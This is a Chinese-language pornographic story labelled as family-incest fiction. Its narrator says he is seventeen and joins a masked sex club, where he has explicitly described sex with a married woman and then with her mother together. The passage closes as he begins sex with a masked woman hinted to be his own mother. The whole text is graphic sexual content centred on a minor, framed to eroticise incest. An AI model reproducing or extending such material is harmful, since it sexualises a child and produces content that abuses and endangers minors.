白玉乱伦[家庭乱伦]

 

一‧妈妈 田天凤

我叫白玉,今年十七岁,我长的高大健壮,英俊潇洒。爸爸叫白大雄,50岁,妈妈叫田天凤,38岁。我家住郊区的花园别墅,家境富裕,很小的时侯爸爸就给我说了三个媳妇,让我长大后选一个。我们这个家每一份子的生活都有点不正常。

爸爸每天忙着事业上的交际酬又不时到各地分公司去考察业务,钱是赚得很多,可是一年头真难得见他一面;妈妈又因为爸爸常年不在家里,精神和心理都觉得很空虚,只有藉打牌和出国旅行来麻醉她自己,让她有事做,因此也是几乎常常不见人影,每天若不去朋友家里串门子打牌,就是不在国内,出国游玩去了。

所以我在家里是完全自由地一个人生活着,肚子饿了有女佣人煮饭给我吃要用钱在爸妈的卧室里随时都有十几万的现金供我随意使用,因为将来不愁找不到工作,只要接下爸爸众多公司的其中一家,就够我安渡一生了,所以我在课业上也不是认真追求学问的学生,只是生活中觉得没有什幺目标,充满无聊和空虚。

这天,学校下课后,我不想回那没有温暖的家里,一个人在街上毫无目的地闲逛着。忽然背后被人拍了一下,回头一看却是我有一次在舞厅里认识的别校学生,他平日在学校的成绩并不好,但是鬼名堂懂得特别多,吃喝嫖赌样样精通,他一看到我,宛如见了救星一般,直拉着我要借五千元,我问他要这幺多钱干什幺,他神秘地挨近我身边低声道︰

『我知道有一个地下俱乐部,是一位外国人设立的,只限会员,我一个朋友最近加入了,说里头大约有男女会员两、三百人,如果加入这个俱乐部,里面的女会员燕瘦环肥各擅胜场,只要双方合意,马上可以带到里面準备的小套房里结一段露水姻缘,事后各分东西,不必负任何责任。

听说有许多在校的女学生、上班的女郎,还有些得不到爱情的旷妇怨女参加这个聚会,只是男人加入要手续费五千元,之后每次参加又要缴一千元的场地费,女人参加则只要交第一次加入的手续费用,以后都不用再缴任何钱了,你有没有兴趣去参加?我的朋友可以帮你做介绍人,不然如果没有认识的人引导,陌生人是谢绝参观,不得其门而入的唷!』

听他这一说,我早就血脉喷张,恨不得马上冲过去,忙不迭地答应他借钱的要求,并且爽快地说如果能连我都能参加的话,这五千元就不用还我了。他听得大喜过望,马上招手叫了一部计程车,两人直坐到郊外山麓的一座幽雅的别墅外,付了车资进门去了。

他的朋友早就在那里等着他来,经过一番交涉,我也正式参加了这个俱乐部。我从口袋里拿了一万元替他和我自己缴了报名的手续费后,他的朋友从休息室的柜子里取出了两幅面罩,各给了我们一人一付,并且说明这是为了有些参加的会员不想让别人知道自己的身份,俱乐部所做的保护措施,当然如果男女双方在欢好后认为可以继续交往,尽可摘下面罩互换地址电话,以后还可以重续旧情。这是个天体俱乐部,所以规定与会人员一律裸体参加,里面的服务人员也不例外,所以我和我的朋友脱光了全身衣物后,就说好不必相候地各奔前程自寻欢乐去了。

我刚一踏入大厅,耳中便传来悦耳动听的音乐,四面装潢考究,空气清爽宜人,配上柔和而略暗的灯光,十分幽雅高尚。我在柜抬边自己动手倒了一杯洋酒,来到舞池旁,从面罩的眼洞里望去,只见与会的男士们各个寸褛不挂地站着谈,有的肥胖如猪,挺着大肚子也不嫌累;有的却又瘦得像只子,身上的肋骨一根根的都能看得很清楚;而女仕们则乳蕩、臀浪猛摇地在四处晃来晃去,大概在诱引着男人们的眼光,好让他上前去搭讪,合意的话两人才能成其好事,相偕去寻求巫山云雨的好梦。

这番女体纷列的美景,看得我胯下的大鸡巴硬涨涨地绷直了起来,几乎顶到我的小腹了。这时有一位娇小的女郎向我身边偎了近来,她带着小白兔的面罩,两颗水汪汪的媚眼从眼洞里秋波闪闪、默默含情地望着我,面罩盖不住的艳红性感嘴唇,微微地向上翘着,一对肥嫩的豪乳,尖耸挺拔地傲立在她的胸前,窄细的纤腰盈盈恰可一握,浑圆肥大的屁股,一步一颤地惹人心跳,肌肤雪白滑嫩,全身充满了妖艳的媚态。

她走近我身边后,靠入我的怀里,我忙把手环上她的细腰,她『嗯!嗯!』地轻哼两声,已献上她的两片香唇朝我嘴里吻来,我们的两条舌尖不住地在彼此口中吸吮着。

这烟视媚行、秋波含春的美女,髮香和肉香不停地刺激着我昂奋的性慾,香甜的小舌尖一直在我嘴里翻来搅去,坚挺的双乳也不住地在我胸前贴磨着,让我爱不释手地揉搓着她的乳峰,一只手则在她的趐背猛力地捏抚着白嫩的大肥臀。

我感到一股又湿又黏的热气在我胯下拢罩着大鸡巴,抽空往下身一看,哗!好美的小穴,阴毛浓密地分布在高耸的阴阜上,我用手去摸摸那娇嫩柔滑的小肉穴,湿漉漉地摸了一手她的淫水,接着把手指伸进穴里轻捏慢揉着,只听那美女在我耳边叫道︰『嗯……亲哥哥……你……揉……揉得……妹妹……痒死……了……喔……喔……妹妹……的……小穴……被你揉……得……好痒……喔……哼……嗯……嗯……』

这美女被我的手指一拨弄,使她慾火高涨,偎在我怀里的娇躯轻颤着,我再加紧扣弄的速度,更使她舒爽地直扭着肥臀在我的手里转着,柔嫩的小穴里也流出一阵阵的淫水,浸湿了我挖她小穴的手指。这娇滴滴又骚浪又淫媚的美女被我调弄得忍不住在我的耳边道︰『哥呀……妹妹……的……小穴……痒死了……快……快嘛……妹妹要……要……你的……大……大鸡巴……快插进……妹妹……的……小穴嘛……喔……喔……快嘛……妹妹……要……大鸡巴……嘛……嗯……』

我见她浪得不顾矜持地求着我快插她,也没有时间再带她进房里作爱了,因为她的身材比我矮,于是举起她的一条大腿,大鸡巴对着那柔嫩的小穴『滋!』的一声,把大鸡巴连根插进了她淫水涟涟的小穴里。

这一狠插,使得那娇媚的美女胴体起了一阵的抖颤,接着努力地扭摆纤腰,款款迎送,好让我的大鸡巴替她的小浪穴止痒。我只觉得大鸡巴插在她的小穴里又紧又窄,阴壁的嫩肉夹得我非常舒服,于是一边抱着她的娇躯走到墙角,一边耸动着大鸡巴一进一出地插干起来。

那美女不顾一旁还有他人在看着我们的活春宫,爽得浪声大叫道︰『哎哟……亲哥……你真会……插穴……妹妹……的……小浪穴……被亲……哥哥……插得……美……美死了……啊……喔……用力……再……再深一点……啊……好……好爽……喔……喔……』

其实我暗中偷笑着,今天还是我第一次插女人的小穴,她竟然说我很会插穴,乐得我淫兴大动,用足了力气,大鸡巴狂抽猛插,次次见底、下下深入花心,只见我怀里的美人儿香汗淋漓、骨趐筋软、娇喘连连地不停叫道︰『哎唷……哥哥呀……小穴穴……妹妹爽……死了……妹妹……遇到……哥哥……的……大鸡巴……插得……我乐……乐死了……啊……又……又要……出来……了……喔……喔……妹妹又……要……洩给……大鸡巴……哥哥…………喔……喔……』

我只觉她的小穴里猛吸,一股又浓又热的阴精喷了我的大鸡巴整根都是,顺着她站立的玉腿流到了地上,雪白柔嫩的娇躯软绵绵地靠在我的身上,好像气力都用尽了似的。我搂着这骚浪的小美人让她休息着,一会儿她幽幽地醒了过来,

一看到我还抱着她的娇躯,感激不尽地献上了佩服的香吻。

我们又吻了好久,她这才发现我的大鸡巴还硬梆梆地插在她的小穴里,又惊又佩地娇声道︰『啊!哥哥你……还没洩精吶!都是妹妹不好,不能让哥哥爽快洩精,嗯!妹妹现在又很累了,不如……嗯!对了,哥哥!你想不想插中年妇女的小穴?

今天妹妹是和我妈妈一起来参加的,我爸爸已经死了五年了,妈妈今年41岁,可看上去就像我的姐姐,她很寂寞,妹妹25岁了,我的丈夫床上的表现又很差,所以妹妹带妈妈来这里散散心,顺便来找人插妹妹的小穴,谁知道刚开始就遇到哥哥这只大鸡巴,插得妹妹舒服了。

哥哥!我把你介绍给妹妹的妈妈好不好?妈妈很美丽的,比妹妹还丰满呢!妹妹跟我妈妈一起陪你好吗?嗯!哥哥的大鸡巴一定能让妹妹跟我妈妈都很舒服的,哥哥!我们去找我妈妈好吗?』

听这骚浪的美女这幺一说,我的大鸡巴不由得在她小穴里震得一阵抖动,母女同淫一男,真亏这小浪穴说得出来,不过由她的话里,又觉得她是个孝顺的女儿,连心爱的大鸡巴都愿意和她妈妈共享,这幺美的好差事,我哪有不同意的道理?于是我便和这骚媚的小浪穴互拥着,一起到各处去寻找她妈妈。

我们找了好久,才在休息室里找到一位用两手掩着重要部位,羞答答地低头缩在沙发最角落的丰满型美女,我怀里的小骚穴对我孥孥嘴,暗示这个美女就是她的妈妈了!

我走向前去,先和她打个招呼,亲切地说道︰『夫人!你好吗?』

她有些羞涩地回答我道︰『谢谢你……你……也好吗……』

只是她的两颊马上飞起两片红云,不好意思地垂下了头,不敢正视着我。

我稍微倾向前去,想要拉她的玉手,不料她却吓得魂飞魄散地惊叫道︰『不……不要……你……不要……过来……』

我愕然地望着她,心里想怎会遇到一个如此害羞内向的女人,小骚穴妹妹还说这是她妈妈,怎幺个性和她骚浪的女儿完全不同呢?

眼前的美女,脸庞虽然被所戴的面罩盖住了,无法看清楚全貌,但由面罩下露出的一部份秀脸,已可确定她一定长得娇艳美貌,遮着胸前的玉手无法完全掩住的趐胸,雪白圆嫩,下体浑圆丰肥的臀部,让人感到肉慾的诱惑。

这时站在一旁的小骚穴才走过来说道︰『妈妈!这位是……嗯!是我刚刚认识的先生,我……我们刚才……作爱过了,他的大鸡巴插得我舒服极了,妈妈!自从爸爸去世后,你都没有另外再找男人,现在我帮你找到了这个鸡巴粗壮的男人,你就让他替你解除五年的寂寞嘛!他太强了,我无法一个人满足他,妈妈!我们一起和他作爱,满足他也满足我们性慾的不满吧!』

那害羞的美女听了她的女儿这幺说,娇靥的红云更是红透了耳根,低垂粉颈,美丽的大眼睛瞟了我一眼,顺势也瞟了一下我胯下的大鸡巴,像是在估量它的长度和直径。我趁机搂着她的蛇腰,手感既软又滑,她的娇躯像触电了似的颤抖了起来,我再用另一手搂着小骚穴美女,三人就朝俱乐部準备的小房间走去了。一路上遇到的男人都用羡慕的眼光看着我搂着两个美女,如果他们知道了这两个美女的身份还是亲生母女,不晓得还会有什幺反应?大概会嫉妒我的艳福吧!

我们选了一间靠花园的小房间,一进门,我就迫不急待地紧抱着那害羞的美女,将我火热的嘴唇,印向她鲜红的艳唇上,她刚一惊地想要挣扎,我已经把我的舌尖吐进她的小嘴里,吸吻了起来,这招还是刚刚在大厅里和她的女儿作爱时学会的吶!

眼前的美女,本是久旱得不到滋润的花朵,从她丈夫死去以后,就再没受过异性的爱抚了,此刻的她被我吻得心头直跳,娇躯微扭,感到甜蜜蜜地忍不住将她的小香舌勾着我的舌尖吸吮着,整个丰满细柔的身躯已经偎入了我的怀里。

美人在抱,使我也禁不住这种诱惑,伸手去揉摸着她肥大浑圆的乳房,只觉入手软绵绵的极富弹性,顶端红嫩嫩的新剥鸡头肉,充满了诱人的神秘,我吻着揉着,弄得这原本害羞的美女娇脸含春,媚眼像要入睡了似地半瞇着,鼻子里不停地哼着使人心醉的娇吟声。

我继续在她乳房上大作文章,五只手指捏揉按搓地不停玩弄着她胸前富有弹性的大奶子,她虽已近中年,但身材并不比她还年轻的女儿差,反而更增添了一份成熟的风韵,丰满肉感的胴体,细滑的肌肤,嫩得几乎可以捏得出水,尤其她丰肥的趐胸,比她已算是波霸的女儿还要大上一号,真不愧是那位淫浪娇美的小骚穴的妈妈,我就知道能生出那幺美丽的女儿,其母亲也不会太差的。

这时那小骚穴看我一直摸着她妈妈,还不急着干她,靠近我们身边道︰『哥哥!我妈妈的乳房好肥吧!妹妹的奶子还没有妈妈的大吶!哥哥,你快给妈妈一次安慰吧!妈妈好可怜喔!我丈夫不行,才几个月妹妹就受不了,爸爸死了五年,妈妈一定更痒的。

哦!对了,哥哥,这里没有外人,我们脱掉面罩好不好!妹妹想知道哥哥的姓名和地址,将来好跟你连络,以后就不再来这里了,只要哥哥做妹妹和妈妈的情夫就好了。

妹妹跟妈妈来这里以前很怕遇到不三不四的男人,那就糟了,这次是因为妹妹的一个朋友在这里当女侍,对妹妹谈起这个俱乐部里面的情形,妹妹的小浪穴也实在是痒极了,想要来打野食,现在遇到哥哥你这幺伟大的鸡巴,妹妹会永远爱你的,等你插过妈妈以后,妹妹相信妈妈也会爱你的大鸡巴,哥哥!好不好嘛?我们就脱掉面具互相认识嘛!嗯!』

这小骚穴柔媚地对我大灌迷汤,要我答应她的要求,我想了一下,插穴这事儿男人是不会吃亏的,小骚穴已经结婚了,不怕她来纠缠我,她妈妈又是个寡妇,更没有问题。

于是我们三人脱掉面具,开诚布公地互道姓名,原来小骚穴叫李丽珍,她妈妈叫梅子,恰巧她们家就住在我家附近,隔了大约三、四条街的距离,将来不论是我去找她们,或她们来我家找我都很方便。三人这一谈开了,彼此之间更是没有了隔阂,我亲热地叫小骚穴丽珍姐,叫她妈妈梅子姐,但是小骚穴,不!应该正名为丽珍姐却有意见,她认为我应该叫她妹妹,她愿意降格当妹妹,而叫我哥哥,理由是她已经叫惯了我哥哥,不想改口,我也就由得她去,叫她丽珍妹妹了。

我们三人笑闹了一阵子,丽珍妹妹骚浪地急着想要上阵开打,但是孝顺的她顾虑到梅子姐的需求,愿意把头一阵让给她妈妈,于是便把我推向梅子姐,但是生性内向而很会害羞的梅子姐却双手紧抱着胸前肥嫩的双乳,两条粉腿紧紧地夹住阴毛丛生的小穴,小嘴里叫着︰『不要……不要……嘛……』媚眼急得快要哭出来了,我看梅子姐到这种地步了还是这幺害羞地不敢和我作爱,知道她是为了天生的内向和女人的矜持,何况我听丽珍妹妹讲她还不曾跟丈夫以外的男人接触过,所以才会这幺害羞。

丽珍妹妹在一旁见她妈妈羞红了脸的急相,想以身做则,好引发梅子姐的淫性,于是趴到我身边来,两手握着我的大鸡巴套弄着,我的大鸡巴在她的搓揉下粗长壮大了起来,梅子姐在一旁看了惊叫道︰『哎哟……好粗长……的……大鸡巴……唷……』

丽珍妹妹对她说︰『妈妈!大鸡巴才好吶!干起来才会让小穴舒服呢!』丽珍妹妹用手指搔揉着我的两个睪丸,握着大鸡巴往她的小嘴里塞去,龟头经过香舌的啜舔更是涨得像一粒红通通的鸡蛋般填满了她的小嘴,我挺起腰身,调整角度,把丽珍妹妹的小嘴儿当成浪穴般进进出出地插干着。

『唔……唔……唔……』丽珍妹妹哼着骚淫的呻吟声,吃了一会儿大鸡巴,她才吐了出来,拉过了梅子姐,对她说︰『妈妈!现在换你来替哥哥吃吃大鸡巴了。』

梅子姐半推半就地被她按着伏在我胯下,伸出香舌替我舔了舔龟头,接着学丽珍妹妹的动作般张开小嘴把我的大鸡巴含在口里,吸吮套弄了起来,她的小手握着我的阴茎,虽然动作不自然,但她却也本能地套弄得娇喘不已。丽珍妹妹又靠到我脸旁,献出香舌和我缠绵热吻起来,我把大鸡巴挺在梅子姐的小嘴里,让她含得更深入,一边着伸手去掏着丽珍妹妹的小浪穴,摸了我满手的淫水,弄得她发浪地趴在床上,两脚半跪,大肥臀抬得高高的,现出那淫水涟涟的小浪穴,娇吟着道︰『哥哥……妹妹……要……你……快来……干……我的……小浪穴……妈妈……放了……哥哥……的……大鸡巴……吧……看着……哥哥……如……何……干我……』

丽珍妹妹準备好了后,梅子姐也将我的大鸡巴从她小嘴里抽出,她也想观摩我和她女儿的性交场面,毕竟这对一生都很内向的她来说,是很新奇又刺激的吶!我移到了丽珍妹妹的身后,两手抓着她的大屁股,身体微微往上一挪,大鸡巴正好对準了她的小穴口,把龟头在她小阴唇上磨了几下,忽然将她的肥臀往后一拉,大鸡巴就『叱!』的一声干进了她的小浪穴,深深插了几下。只听得丽珍妹妹叫道︰『啊……啊……哥哥你……的……大鸡巴……干进……了……妹妹……的……小穴心……了……喔……喔……嗯……嗯……妹妹……被……大鸡巴……干得……好舒服……唷……啊……哥哥……妹妹……的……大鸡巴……亲……丈夫……快……快干……妹妹……的……小穴……吧……用……用力……的……干……把……把妹妹……干死吧……喔……喔……』

我开始用力地插干着丽珍妹妹的小骚穴,而她的淫水也随着我抽送的速度越流越多,梅子姐惊奇地看着她女儿如此骚浪的情状,趴在她的侧面,两手伸到她女儿胸口,抓着两颗大乳房捏捏揉揉,丽珍妹妹被我的大鸡巴干得意乱情迷,时而低头看她妈妈玩弄着她的大奶子;时而转头看着我插干她的小浪穴,我左抽右插,越干越起劲,大鸡巴像一只热棍子似地不停捣弄,阴茎已被她紧凑的小穴阴壁夹得坚硬如铁,『啪!啪!啪!』这是我的小腹撞击丽珍妹妹大肥臀的声音;『噗滋!噗滋!噗滋!』

这是我的大鸡巴在她的小穴里干进抽出的声音。

一旁的梅子姐看着我们这场捨生忘死的大战,也浪得她忍不住淫水直流,抽出摸她女儿乳房的手,伸到她下身去扣揉着发浪的小穴,只见她雪白的大腿中间,露出了一条鼓澎澎的肉缝,穴口一颗鲜艳红润的阴核,不停地随着她挖扣的动作颤跃着,两片肥美的大阴唇也不停地闭合着,阴沟附近长满了黑漆漆的阴毛,被她洩出来的淫水弄得湿亮亮地,流满了她大腿根部和底下的床单。

我见已成功地引起了梅子姐的淫慾,便抽出了插在丽珍妹妹小穴里的大鸡巴,扑向梅子姐的娇躯,将那曲线玲珑、窈窕动人的胴体压倒在床上,我望着这具中年美妇丰满的肉体,肌肤雪里透红,比梨子还大的乳房随着她的呼吸颤抖着,丰肥的阴阜上生满了黑黑长长的阴毛,像小馒头似地高凸饱涨,比她女儿丽珍妹妹还要动人心弦。

我对她说道︰『好姐姐!快摆好位子,让大鸡巴替你止止痒。』梅子姐虽然调好身体的位置,但两条粉腿却併拢着,因为此时她的女儿在旁看着她将要挨插的模样,害羞地不敢把小穴显露出来。我道︰『不,姐姐!要把你的双脚叉开,这样我才能插进去呀!』梅子姐羞答答地小声说道︰『唔……嗯……好……好嘛……好……羞人吶……哎哟……讨厌……嗯……来……来吧……』说着,缓缓地张开了那两条粉腿,我伏上她软绵绵的娇躯,大鸡巴已顶住她发热的膣口,我在她的肥乳上摸了两把,直弄得梅子姐浪吟连连,淫水又流出了不少。

我的大龟头在她穴口的大阴唇上揉着,梅子姐的全身上下有如千万只蚂蚁搔爬着一般,直浪扭着娇躯,慾火燃烧着她的四肢百骸,又痒又酸又麻的滋味,使她不由自主地娇喘着呻吟道︰『哎……哎哟……我……我……难受……死了……大鸡巴……弟弟……人……人家……很痒了……哎呀……呀……你……你还不……快……干……干进……来……哟……哟……』

这内向的美女竟也叫起床来,还要我赶快插她的小穴,美人的命令我怎敢不遵,何况是在这种时候,不快把大鸡巴插进她小穴里替她止痒,一定会被她恨一辈子的。于是我就把大鸡巴对準了她的小穴肉缝的中间,屁股一沉,大鸡巴就窜进了小穴里三寸多长。

只听得梅子姐一声惨叫︰『啊……』娇躯猛地一阵抽搐,伸出玉手推着我的小腹,颤声叫道︰『哎唷……哎……哎呀……痛死人……了……好……好痛呀……弟弟……姐姐……五……五年多……没有……干过了……吃……不消……你的……大鸡巴……你……慢点儿……嘛……等……等姐姐……的……浪水多……些……再……再插……好吗……』

我没想到四十岁的梅子姐,小穴还会这幺窄又这幺紧,就像是处女未开苞的小穴,比她女儿丽珍妹妹的穴还要美妙,我停了下来,轻吻着梅子姐的娇靥,道︰『姐姐!对不起,我不知道你的小穴竟然比丽珍妹妹还窄,我一下子就干了进去,实在太粗鲁了。』

梅子姐哀哀地道︰『哎……哎呀……弟弟……你要……怜惜姐姐……从没被……这幺大……的……鸡巴……干过……姐姐的……小穴……已经……五年没……用了……它……它会……缩得像……少女……一样紧窄……你要……慢慢地……插……姐姐……的……小穴……呀……』

我的大鸡巴被梅子姐紧窄的小肉洞夹得趐麻爽快,在她慢慢减弱的喊痛声中,悄悄地转动着屁股,让大鸡巴在她穴里磨揉着阴道的嫩肉,梅子姐渐渐被我的技巧磨得浪吟道︰『呀……呀……对……对……哎哟……喔……好……好爽……好舒服……唷……呀……我……我的……亲……哥哥……大……鸡巴……亲丈夫……呀……呀……姐姐……的……小穴……趐……趐麻死……死了啦……哎哟……喔……』

梅子姐舒服得媚眼细瞇、樱唇哆嗦、娇躯颤抖着,我何曾干过这幺雍容华贵、娇艳欲滴的大美女,又加上她躺在我身下呢喃的呻吟声,激得我更迈力地旋转着我的屁股,梅子姐的小穴里淫水就像洪水般流个不停,一阵流完又接着流了一阵,把她肥臀下的床单都流湿了好大一片,不停地呻吟着︰『呀……嗯……嗯……好……好舒服……亲……哥哥……你……干得……姐姐……好爽喔……哎……哎哟……舒服透……了……姐姐……受不……了……哎唷……快……大力……干我……嗯……亲丈夫……快用……大鸡巴……大力……干我……嘛……嗯……嗯……』

我听这对美艳的母女花在大鸡巴干她们小穴的时候都喜欢叫我哥哥,明明她们的年纪都比我大,还满口「大鸡巴哥哥」的叫个不停,听了真让人替她们脸红,不过她们越骚浪,插干起来也越是让我感到爽快,于是我越干越有劲,越干越用力。

这时休息够了的丽珍妹妹挨到我们身边,对着我的嘴吻了起来,这是她表示爱意的方式,每次都会先献上她的香吻,她还一边抚揉着她妈妈的大乳房,一边却忍不住骚痒地扣起了她自己的小穴,被我插干着的梅子姐受到我们的两边夹攻,小嘴里娇哼不断,肥美的大屁股更是摇得像波浪一般,娇首舒服地摇来摇去,髮浪翻飞中透出一股巴黎香水的幽香,此时我的大鸡巴整根插进梅子姐的小穴里,顶着她的花心辗磨着。

美得梅子姐银牙暗咬、娇躯浪扭、媚眼翻白地抖着声音道︰『哎呀……喔……唷……亲……哥哥……姐姐……真是……舒服透……了……嗯……嗯……小穴……美……美死了……哎唷……姐姐……真……要被……亲哥哥……的……大鸡巴……奸……奸死……了……啊……啊……亲丈夫……你……碰到……姐姐……的……花心了……喔……喔……亲……丈夫……姐姐……要……要丢……丢了………好美呀……』

只见梅子姐的娇躯一阵大颤,长长地舒了一口满足的大气,整个人就瘫在床上,浪趐趐地昏了过去,流满香汗的粉脸上露出满足的微笑。丽珍妹妹一直在旁边忍着骚痒看着我大战她妈妈,孝顺的她若不是我干得是她最敬爱的妈妈,恐怕早就冲过来抢我的大鸡巴了。

这时她一看她妈妈已经被我干的爽昏了过去,心花大开地赶快躺到她妈妈的身边,双腿分开翘得高高的,对我道︰『嗯!哥哥,妈妈被你干爽了,妹妹还没爽够吶!求求你,哥哥!快再来干妹妹的小浪穴吧!』我将她的双腿架到肩上,手抱着她肥美的玉臀,大鸡巴瞄準了洞口,藉着她流得穴口满满的淫水帮助,一下子就整根插干到底。淫水潺潺外流,滋润着我的大鸡巴,再加上阴茎还残留着她妈妈洩出来的淫水和阴精,插起她的小浪穴更觉奇美无比,这母女同淫的乐趣,真是世上几人能够拥有的吶!

丽珍妹妹不禁浪哼着︰『啊……喔……喔……大鸡巴……哥哥……用……用力……妹妹……爱死……你的……大鸡巴……了……快……快干……妹妹……的……小浪穴……哼……美……美死了……插……插死……妹妹……吧……小浪穴……痒得……受不了……喔……喔……要……哥哥的……大鸡巴……才能……止痒……喔……喔……哥哥……妹妹……爱死你……了……啊……喔……你是妹妹的—–好老公——』

这时梅子姐也恢复了神智,见我无比神勇地插干着她的女儿,她的春情慾焰马上又被点燃了起来,我突发奇想,要梅子姐叠上丽珍妹妹的娇躯,两人一上一下地面对面互抱在一起,四颗肥美的大乳房互相压扁着,两只淫水涟涟的小浪穴也湿淋淋地互磨着,先让她们母女互磨了一阵,等到发骚的妈妈和淫浪的女儿都娇喘吁吁地极需性的安慰时,才跪到她们的大屁股后面,握着我的大鸡巴不管一切地用力往前一顶,冲进了一只温水袋似的小肉穴里。

而她的女儿叫的又是不一样,只听丽珍妹妹骚媚地叫道︰『嗯……哼……哥哥……呀……妹妹的……大鸡巴……哥哥……嗯……嗯……你要……插得……妹妹……淫乐死……了……哥哥……你快……用力插……插死……妹妹……都……没关係……喔……喔……大鸡巴……顶到……妹妹……的……花心里……了……啊……喔……真……真爽哟……哟……』

这对狂骚浪淫的母女花扭着娇躯承受着我大鸡巴的插干,我也被母女同淫的奇遇逗得十分肉紧,疯狂地一下子插插妈妈的紧窄小穴;一下子又插插女儿多水的小穴,换来换去爽得不分东南西北了。这一阵母女同御,一箭双雕,乱伦的淫合,只干得我们三人都乐趐了全身的骨头,大约过了一个钟头的时间,我感到无限的舒爽,背脊麻痒,知道快要洩出精液了,忙加速插干两只小穴的动作,最后终于爽快地分别在她们母女的两只小骚穴里各射进了一些精液,我希望能让她们母女同时怀孕,那才爽啊。

只见梅子姐也从丽珍妹妹的娇躯上滑了下来,她们两人都四肢大张,浪喘不迭地直吸着空气,梅子姐的阴毛尽湿,小穴洞口流出了我刚才射进去的精液,混合着她的淫水,慢慢地从她小穴里呈浓白色地往外流;丽珍妹妹的小腹上流满了她妈妈洩出来的淫水,黏乎乎地把她原本疏密有致的阴毛都黏成了一块块的毛团,还有一些她们母女两人的汗水,但是她们的两只肉穴儿都是一样地红肿大张着,穴口都被大鸡巴撑开了约有一指幅的宽度。

我们三人躺在床上,累得几乎爬不起来,尤其她们母女两只小浪穴肿涨的程度,我看没有三两天的休息是不会复原的,我们就在床上尽情地歇息着。

我睡了约两、三个钟头,醒来一看,身边的梅子姐和丽珍妹妹都还在睡,望着她们母女两具丰满柔嫩的胴体,大鸡巴忍不住又硬了起来,刚伸手去揉揉丽珍妹妹的肥乳,只听她在睡梦中迷迷糊糊地道︰『嗯……哥哥……妹妹好……爱困……喔……妹妹……不行了……哥哥……你……去找……妈妈吧……妹妹……还……还要……睡……』

我看连骚浪的她都累得这幺严重,她妈妈一定更受不了。于是从床上起来,打算到大厅里,物色一个骚穴来玩玩。

我走进大厅,只见还有不少的人在闲逛着,可能是晚些才来的会员,或是眼光太高,找不到意中人吧!我又去端了一杯酒,打算这次要好好地挑一个绝色美女,毕竟插过了那对美艳的母女花后,平常庸俗脂粉已难打动我的慾念了。

所以当有些女人想要过来和我搭讪,我看了看她们不怎幺出色的身裁后,都藉故左顾右盼地像在找着朋友,胯下的大鸡巴也软垂垂地没有冲动的状况,她们以为我不是在找小穴干,也就转移目标另找他人干她们的小穴了。

我直喝到了第三杯酒,才在脂粉丛中发现一位身裁修长,体态丰满而不肥肿白嫩嫩的胸前挺着一对高耸的趐乳,S形的细腰,浑圆的肥臀,小腹平坦,阴毛浓密,雪肤凝脂,真是丽质天生、风姿绰约的美女。

只可惜被一付黑色的猫头鹰面罩遮住了娇靥,看不到她的脸庞,不过我想以她所见的一切,就算是生得面貌平庸,也不稍减她对男人们性感的诱惑。从她细緻而有弹性的皮肤和看起来毫无下垂迹象的肥乳来估记她的年龄,我想她一定还没超过二十五岁,大约在二十一、二岁之间。这时她的身旁有二、三位男士紧盯着她,不时对她献媚着,大概想获得她的青睐,可是我看她只是端着她的酒杯,漫漫地毫不在意,只是应付着他们。

一会儿,她美目顾盼之间发现了我站在远处欣赏着她的娇躯,原本游移着的目光,像是被我胯下的大鸡巴所吸引着似的,顿了一下,然后朝我点了下头,再丢下那些垂涎三尺的男士,袅袅地摆动着丰肥的大屁股走到了我身边。

她来到我前面,举起她的酒杯,和我乾了杯中的美酒,这情形就像是我们在喝着新婚的交杯酒,从她主动找我乾杯来看,这位性感的美女已经有意要和我作爱,不由得使我的大鸡巴兴奋地更粗硬地往上挺直着。

忽然音乐声响起了,只见一对对的男女互拥着走进舞池去跳舞,我礼貌地朝她做个请舞的动作,她优雅地把她的玉手伸出来让我握着,我们两人就亲蜜地牵着手来到舞池中翩翩起舞了。

在我们互拥着跳舞之间,我两手伸到她的身后,搂着圆圆翘起的肥臀,起舞时她的柳腰款款摆动,丰满的娇躯舞姿优美诱人,面罩的眼洞里露出亮晶晶水汪汪的大眼睛,长长的睫毛,目光里闪动着媚人的春意,拥在怀里的肌肤细嫩滑腻,引人暇思,一颦、一笑都显得风情万种。她柔媚地把戴着面罩的娇靥靠在我胸前,一阵迷人的香气直冲我鼻子而来,嗯!好熟悉的味道,对了,这是妈妈最爱用的香奈儿夜晚型香水,看来这位美女的经济状况也不错,否则一般人也用不起这种最高级价值昂贵的香水了。

我们跳着近身的三贴舞,她吐气如兰地在我耳边倾诉着她的爱慕之意,并幽幽地告诉我她已经结过婚了,只是丈夫常常不在家里,使她非常空虚寂寞,今晚被朋友带来这里寻求性的安慰,对她来说还是第一次尝试偷情的滋味,而且说她对我一见如故,觉得很放心能把她的贞操交给我,又求我对她温柔一些,因为除了她丈夫以外,她还是首次让男人如此拥抱着她的娇躯。抚揉着她黑密的秀髮,我称讚她是今晚俱乐部里的第一美女,绝对是艳冠群芳,并且又讚她姿色秀丽出尘,体态娇美妩媚,让这里所有男人的眼光都集中在她身上,使得其他女人的光彩都被她夺去了。

这位冰肌玉骨的美女听了很是高兴,眼波流盼间,显得更是美目含情,嘴角生春,这姿态更增加她骚浪淫媚的美艳。我忍不住地低头伏在她的胸口,一口含住了她艳红的奶头,一只手在她丰满的肉体上爱抚着,尤其在她另一颗高耸的趐乳上捏揉着肥嫩的奶部肌肤,底下的大鸡巴用龟头贴在她的阴部,在小穴洞口附近揉动着。她也大胆地伸出嫩得像春笋般的小手,温柔地握着我高翘粗长的大鸡巴,爱不释手地轻轻捏揉着。

我摸了一阵美乳,再顺手而下,伸到她多肉隆起的阴阜上爱抚着,这时她的小穴早已湿淋淋地流出了黏滑的淫水,我的手指藉着滑滑的淫水,分开她肥嫩的阴唇,伸进她小穴里轻轻插弄着,她被我的手指扣得浪哼连连,骨头都趐了也似地娇躯软绵绵地伏在我的怀里。

一会儿,她颤抖着身子,浪声在我耳边呻吟道︰『嗯……害人的……小冤家……你的手……真要了……人……人家……的……命了……』

我低声对她道︰『小宝贝!我们到房间里去作爱吧!你看你浪得都流骚水了。』

她还有些害羞地轻轻点了点她的头,并且从她的鼻子里娇媚地︰『嗯!…』了一声,就伏在我怀里,让我抱着她的娇躯走向后排的房间里。

我像她的丈夫抱着娇妻的身子放在床上,窗外的月光透进来,照着她全身雪白的一团嫩肉,我的欲焰急速地升了起来,爬上了她火热的身体,先吻着她丰满的肥乳,她则辗转着娇躯,喘喘地浪吟娇啼着。我的大鸡巴涨得不能再粗地对準了她那特别肥嫩又湿淋淋的洞口,突然猛力地插了进去,直捣她的花心。

